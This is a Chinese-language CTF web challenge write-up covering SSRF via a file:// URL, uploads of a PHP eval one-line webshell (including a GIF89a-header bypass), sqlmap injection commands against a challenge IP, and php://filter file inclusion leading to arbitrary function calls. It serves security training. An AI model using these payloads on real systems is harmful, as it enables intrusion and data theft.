web题
filter-madness
搞了半天 发现这个flag在info里面......
Ctrl + F 搜索ctf
nextGen 1
查看源代码 没有什么线索-> 查看其中的js->源代码最下面的js中发现一个post参数
访问request目录->抓包->修改请求方法->使用SSRF->service=file:///flag.txt
Upload 0
发现一个上传文件的: 试试上传一句话木马试试
<?php @eval($_POST['cmd']);?>
上传成功
蚁剑连接:
找到/flag.txt
Upload 1
上传文件->上传了一个带有gif文件头的php木马
GIF89a
<?php @eval($_POST['cmd']);?>
蚁剑连接->更目录下查看flag.txt
Virtual Shop
没什么线索 试试sql注入吧
发现是 单引号字符型注入
order by 4 ->回显是1,4->好像不是mysql
尝试sqlmap->SQLlite数据库
python sqlmap.py -u "http://82.157.146.43:14910/filter?category=IT" --tables --batch
查看users表内容:
python sqlmap.py -u "http://82.157.146.43:14910/filter?category=IT" -T users --dump --batch
发现flag!
command-injection
没什么线索->查看源代码: 发现一个提示 应该是存在文件包含了
访问include.php ->file参数可控
使用php伪协议包含 ->php://filter协议 查看base64编码的源码->
file=php://filter/read=convert.base64-encode/resource=include
PD9waHAgIGVycm9yX3JlcG9ydGluZygwKTsKQCRmaWxlID0gJF9HRVRbImZpbGUiXTsKaWYoaXNzZXQoJGZpbGUpKSB7CglpZiAocHJlZ19tYXRjaCgnL2h0dHB8ZGF0YXxmdHB8aW5wdXR8JTAwfGZsYWcvaScsICRmaWxlKSB8fCBzdHJzdHIoJGZpbGUsIi4uIikgIT09IEZBTFNFIHx8IHN0cmxlbigkZmlsZSk+PTEwMCkgewoJCWVjaG8gIjxwPiBlcnJvciEgPC9wPiI7Cgl9IGVsc2UgewoJCWluY2x1ZGUoJGZpbGUuJy5waHAnKTsKCQlzZXRjb29raWUoInRpcHMiLCJjcmVhdGVmdW4ucGhwIik7Cgl9Cn0gZWxzZSB7CgloZWFkZXIoJ0xvY2F0aW9uOmluY2x1ZGUucGhwP2ZpbGU9aW5kZXgnKTsKfQo/Pg==
<?php error_reporting(0);
@$file = $_GET["file"];
if(isset($file)) {
if (preg_match('/http|data|ftp|input|%00|flag/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=100) {
echo "<p> error! </p>";
} else {
include($file.'.php');
setcookie("tips","createfun.php");
}
} else {
header('Location:include.php?file=index');
}
?>
发现其中有个: createfun.php
尝试查看 createfun.php源码
PD9waHAKJGZ1bmMgPSBAJF9HRVRbJ2Z1bmMnXTsKJGFyZyA9IEAkX0dFVFsnYXJnJ107CmlmKGlzc2V0KCRmdW5jKSYmaXNzZXQoJGFyZykpeyRmdW5jKCRhcmcsJycpO30KCg==
<?php
$func = @$_GET['func'];
$arg = @$_GET['arg'];
if(isset($func)&&isset($arg)){$func($arg,'');}
在这个页面中可以执行填写的自定义的函数!
/createfun.php?func=show_source&arg=flag.php
出flag!